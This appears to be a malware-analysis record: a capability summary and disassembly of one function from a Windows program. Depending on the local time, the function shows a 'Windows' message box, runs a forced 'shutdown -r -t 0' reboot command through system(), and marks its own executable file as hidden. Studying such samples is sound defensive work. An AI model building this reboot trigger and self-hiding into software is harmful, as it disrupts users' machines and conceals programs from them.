Function at 0x140003fe0
Capabilities:
Check if file exists
Create thread
Execute command
Get file attributes
Set file attributes

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push r14
lea rbp, [rsp - 0x120]
sub rsp, 0x220
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x110], rax
mov rbx, rcx
mov esi, r9d
mov ecx, 8
call fcn.140007b50
lea rcx, [0x140003f20]
xor r14d, r14d
mov r9, rax
lea r8, [0x1400071d0]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp - 8]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r14d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x10], rax
test rax, rax
je 0x140004303
cmp dword [rbp - 8], r14d
je 0x1400042f7
movaps xmm0, xmmword [rbp - 0x10]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400042f7
xorps xmm0, xmm0
mov qword [rsp + 0x248], rdi
movdqa xmmword [rbp - 0x10], xmm0
call fcn.140003580
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
lea rcx, [rbp - 0x10]
mov qword [rbp - 0x10], rax
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64]
mov r8d, dword [rax]
mov eax, 0x55555556
imul r8d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*2]
cmp r8d, ecx
je 0x1400040e0
test r8b, 1
je 0x1400040e0
mov eax, 0x66666667
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp r8d, eax
jne 0x14000410e
mov r9d, 0x134
lea r8, [0x14000aa28]
lea rdx, str.Windows
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 6
jne 0x14000410e
lea rcx, str.shutdown__r__t_0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r8d, 0x104
lea rdx, [rbp]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x14000413e
or eax, 2
lea rcx, [rbp]
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov r9d, 0x64
lea r8, [0x14000fc90]
mov edx, 0x67
mov rcx, rbx
call qword [sym.imp.USER32.dll_LoadStringW]
lea rdi, [0x14000fbc0]
mov r9d, 0x64
mov r8, rdi
mov edx, 0x6d
mov rcx, rbx
call qword [sym.imp.USER32.dll_LoadStringW]
lea rax, [0x140004320]
mov dword [rsp + 0x70], 0x50
mov edx, 0x6b
mov qword [rsp + 0x78], rax
mov rcx, rbx
mov dword [rsp + 0x74], 3
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], rbx
call qword [sym.imp.USER32.dll_LoadIconW]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp - 0x70], rax
call qword [sym.imp.USER32.dll_LoadCursorW]
movdqa xmm0, xmmword [0x14000ac80]
mov edx, 0x6c
mov rcx, qword [rbp - 0x78]
movdqa xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x50], rdi
call qword [sym.imp.USER32.dll_LoadIconW]
lea rcx, [rsp + 0x70]
mov qword [rbp - 0x48], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov qword [rsp + 0x58], r14
lea r8, [0x14000fc90]
mov qword [rsp + 0x50], rbx
mov r9d, 0xcf0000
mov qword [rsp + 0x48], r14
mov rdx, rdi
mov qword [rsp + 0x40], r14
xor ecx, ecx
mov dword [rsp + 0x38], r14d
mov dword [rsp + 0x30], 0x80000000
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 0x80000000
mov qword [0x14000fbb0], rbx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rdi, rax
test rax, rax
jne 0x14000426d
mov rdi, qword [rsp + 0x248]
mov rcx, qword [rbp + 0x110]
xor rcx, rsp
call fcn.140007b30
mov rbx, qword [rsp + 0x250]
add rsp, 0x220
pop r14
pop rsi
pop rbp
ret
mov edx, esi
mov rcx, rdi
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rdi
call qword [sym.imp.USER32.dll_UpdateWindow]
mov edx, 0x6d
mov rcx, rbx
call qword [sym.imp.USER32.dll_LoadAcceleratorsW]
xor r9d, r9d
lea rcx, [rbp - 0x40]
xor r8d, r8d
xor edx, edx
mov rbx, rax
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x1400042ef
nop dword [rax + rax]
mov rcx, qword [rbp - 0x40]
lea r8, [rbp - 0x40]
mov rdx, rbx
call qword [sym.imp.USER32.dll_TranslateAcceleratorW]
test eax, eax
jne 0x1400042d9
lea rcx, [rbp - 0x40]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp - 0x40]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
lea rcx, [rbp - 0x40]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x1400042b0
mov eax, dword [rbp - 0x30]
jmp 0x140004242
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp - 8], r14d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3